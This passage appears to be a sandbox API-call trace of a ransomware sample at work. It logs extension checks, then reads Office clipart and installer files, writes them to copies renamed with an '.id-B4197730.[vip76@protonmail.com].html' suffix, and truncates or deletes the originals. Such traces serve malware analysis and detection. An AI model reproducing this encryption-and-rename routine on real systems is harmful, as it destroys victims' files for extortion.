	[0086.700] lstrlenW (lpString=".pdf") returned 4
	[0086.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.700] lstrlenW (lpString=".xls") returned 4
	[0086.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.701] lstrlenW (lpString=".xlsx") returned 5
	[0086.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.701] lstrlenW (lpString=".ppt") returned 4
	[0086.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.701] lstrlenW (lpString=".zip") returned 4
	[0086.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.701] lstrlenW (lpString=".rar") returned 4
	[0086.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.701] lstrlenW (lpString=".bz2") returned 4
	[0086.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.701] lstrlenW (lpString=".7z") returned 3
	[0086.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.701] lstrlenW (lpString=".dbf") returned 4
	[0086.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.701] lstrlenW (lpString=".1cd") returned 4
	[0086.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 68
	[0086.701] lstrlenW (lpString=".jpg") returned 4
	[0086.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.701] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.701] lstrlenW (lpString="FD00306_.WMF") returned 12
	[0086.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.702] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=46814) returned 1
	[0086.702] CloseHandle (hObject=0x364) returned 1
	[0086.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf")) returned 0x220
	[0086.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.702] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.702] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.702] GetLastError () returned 0x0
	[0086.702] ReadFile (in: hFile=0x364, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xb6de, lpOverlapped=0x0) returned 1
	[0086.768] WriteFile (in: hFile=0x36c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xb6e0, lpOverlapped=0x0) returned 1
	[0086.770] ReadFile (in: hFile=0x364, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.770] WriteFile (in: hFile=0x36c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.770] SetEndOfFile (hFile=0x36c) returned 1
	[0086.771] CloseHandle (hObject=0x36c) returned 1
	[0086.771] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.771] SetEndOfFile (hFile=0x364) returned 1
	[0088.059] CloseHandle (hObject=0x364) 

Thread:
	id = 19
	os_tid = 0xa24

	[0057.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3c900a8
	[0057.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x3ca00b0
	[0057.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549358
	[0057.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x5469d8
	[0057.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549568
	[0057.913] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x4124020
	[0057.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5493a0
	[0057.916] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5493a0, Size=0x20) returned 0x52d8e0
	[0057.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549370
	[0057.916] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549370, Size=0x20) returned 0x52d7c8
	[0057.917] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0057.917] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0057.917] Wow64DisableWow64FsRedirection (in: OldValue=0x375ff50 | out: OldValue=0x375ff50*=0x0) returned 1
	[0057.917] lstrlenW (lpString="kernel32.dll") returned 12
	[0057.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d8e0 | out: hHeap=0x4f0000) returned 1
	[0057.917] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0057.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d7c8 | out: hHeap=0x4f0000) returned 1
	[0057.917] Sleep (dwMilliseconds=0x64) 
	[0059.836] Sleep (dwMilliseconds=0x64) 
	[0060.297] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0060.305] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0060.305] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.305] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=74214) returned 1
	[0060.305] CloseHandle (hObject=0x2c8) returned 1
	[0060.306] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80
	[0060.306] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0060.306] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.306] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.306] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.306] GetLastError () returned 0x0
	[0060.306] ReadFile (in: hFile=0x2c8, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x121e6, lpOverlapped=0x0) returned 1
	[0060.323] WriteFile (in: hFile=0x2d0, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x121f0, lpOverlapped=0x0) returned 1
	[0060.331] ReadFile (in: hFile=0x2c8, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.331] WriteFile (in: hFile=0x2d0, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0060.331] SetEndOfFile (hFile=0x2d0) returned 1
	[0060.332] CloseHandle (hObject=0x2d0) returned 1
	[0060.334] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.335] SetEndOfFile (hFile=0x2c8) returned 1
	[0060.336] CloseHandle (hObject=0x2c8) returned 1
	[0060.336] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.337] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1
	[0060.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.337] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.337] lstrlenW (lpString=".doc") returned 4
	[0060.337] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.337] lstrlenW (lpString=".docx") returned 5
	[0060.337] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.337] lstrlenW (lpString=".pdf") returned 4
	[0060.337] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.337] lstrlenW (lpString=".xls") returned 4
	[0060.337] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.337] lstrlenW (lpString=".xlsx") returned 5
	[0060.338] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.338] lstrlenW (lpString=".ppt") returned 4
	[0060.338] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.338] lstrlenW (lpString=".zip") returned 4
	[0060.338] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.338] lstrlenW (lpString=".rar") returned 4
	[0060.338] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.338] lstrlenW (lpString=".bz2") returned 4
	[0060.338] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.338] lstrlenW (lpString=".7z") returned 3
	[0060.338] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.338] lstrlenW (lpString=".dbf") returned 4
	[0060.338] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.338] lstrlenW (lpString=".1cd") returned 4
	[0060.338] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.338] lstrlenW (lpString=".jpg") returned 4
	[0060.338] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.338] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.338] lstrlenW (lpString=".doc") returned 4
	[0060.338] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.338] lstrlenW (lpString=".docx") returned 5
	[0060.338] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.339] lstrlenW (lpString=".pdf") returned 4
	[0060.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.339] lstrlenW (lpString=".xls") returned 4
	[0060.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.339] lstrlenW (lpString=".xlsx") returned 5
	[0060.339] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.339] lstrlenW (lpString=".ppt") returned 4
	[0060.339] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.339] lstrlenW (lpString=".zip") returned 4
	[0060.339] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.339] lstrlenW (lpString=".rar") returned 4
	[0060.339] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.339] lstrlenW (lpString=".bz2") returned 4
	[0060.339] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.339] lstrlenW (lpString=".7z") returned 3
	[0060.339] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.339] lstrlenW (lpString=".dbf") returned 4
	[0060.339] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.339] lstrlenW (lpString=".1cd") returned 4
	[0060.339] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44
	[0060.339] lstrlenW (lpString=".jpg") returned 4
	[0060.339] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.339] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0060.340] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0060.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0060.603] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=60816) returned 1
	[0060.603] CloseHandle (hObject=0x2d0) returned 1
	[0060.603] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80
	[0060.603] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0060.604] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.604] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0060.605] GetLastError () returned 0x0
	[0060.605] ReadFile (in: hFile=0x2f4, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xed90, lpOverlapped=0x0) returned 1
	[0060.614] WriteFile (in: hFile=0x2f8, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xeda0, lpOverlapped=0x0) returned 1
	[0060.616] ReadFile (in: hFile=0x2f4, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.616] WriteFile (in: hFile=0x2f8, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0060.616] SetEndOfFile (hFile=0x2f8) returned 1
	[0060.616] CloseHandle (hObject=0x2f8) returned 1
	[0060.618] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.618] SetEndOfFile (hFile=0x2f4) returned 1
	[0060.619] CloseHandle (hObject=0x2f4) returned 1
	[0060.619] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.619] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1
	[0060.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.620] lstrlenW (lpString=".doc") returned 4
	[0060.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.620] lstrlenW (lpString=".docx") returned 5
	[0060.620] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.620] lstrlenW (lpString=".pdf") returned 4
	[0060.620] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.620] lstrlenW (lpString=".xls") returned 4
	[0060.620] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.620] lstrlenW (lpString=".xlsx") returned 5
	[0060.620] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.620] lstrlenW (lpString=".ppt") returned 4
	[0060.620] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.620] lstrlenW (lpString=".zip") returned 4
	[0060.620] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.620] lstrlenW (lpString=".rar") returned 4
	[0060.620] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.620] lstrlenW (lpString=".bz2") returned 4
	[0060.620] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.620] lstrlenW (lpString=".7z") returned 3
	[0060.620] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.620] lstrlenW (lpString=".dbf") returned 4
	[0060.620] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.620] lstrlenW (lpString=".1cd") returned 4
	[0060.620] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.621] lstrlenW (lpString=".jpg") returned 4
	[0060.621] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.621] lstrlenW (lpString=".doc") returned 4
	[0060.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString=".docx") returned 5
	[0060.621] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.621] lstrlenW (lpString=".pdf") returned 4
	[0060.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString=".xls") returned 4
	[0060.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString=".xlsx") returned 5
	[0060.621] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.621] lstrlenW (lpString=".ppt") returned 4
	[0060.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.621] lstrlenW (lpString=".zip") returned 4
	[0060.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.621] lstrlenW (lpString=".rar") returned 4
	[0060.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString=".bz2") returned 4
	[0060.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString=".7z") returned 3
	[0060.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.621] lstrlenW (lpString=".dbf") returned 4
	[0060.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.621] lstrlenW (lpString=".1cd") returned 4
	[0060.621] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44
	[0060.622] lstrlenW (lpString=".jpg") returned 4
	[0060.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.622] Sleep (dwMilliseconds=0x64) 
	[0060.989] Sleep (dwMilliseconds=0x64) 
	[0061.339] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0061.340] lstrlenW (lpString="eula.rtf") returned 8
	[0061.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.340] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3526) returned 1
	[0061.340] CloseHandle (hObject=0x2e4) returned 1
	[0061.340] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80
	[0061.340] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.340] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.341] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.341] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.341] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0061.341] GetLastError () returned 0x0
	[0061.341] ReadFile (in: hFile=0x2e4, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xdc6, lpOverlapped=0x0) returned 1
	[0061.343] WriteFile (in: hFile=0x2f4, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xdd0, lpOverlapped=0x0) returned 1
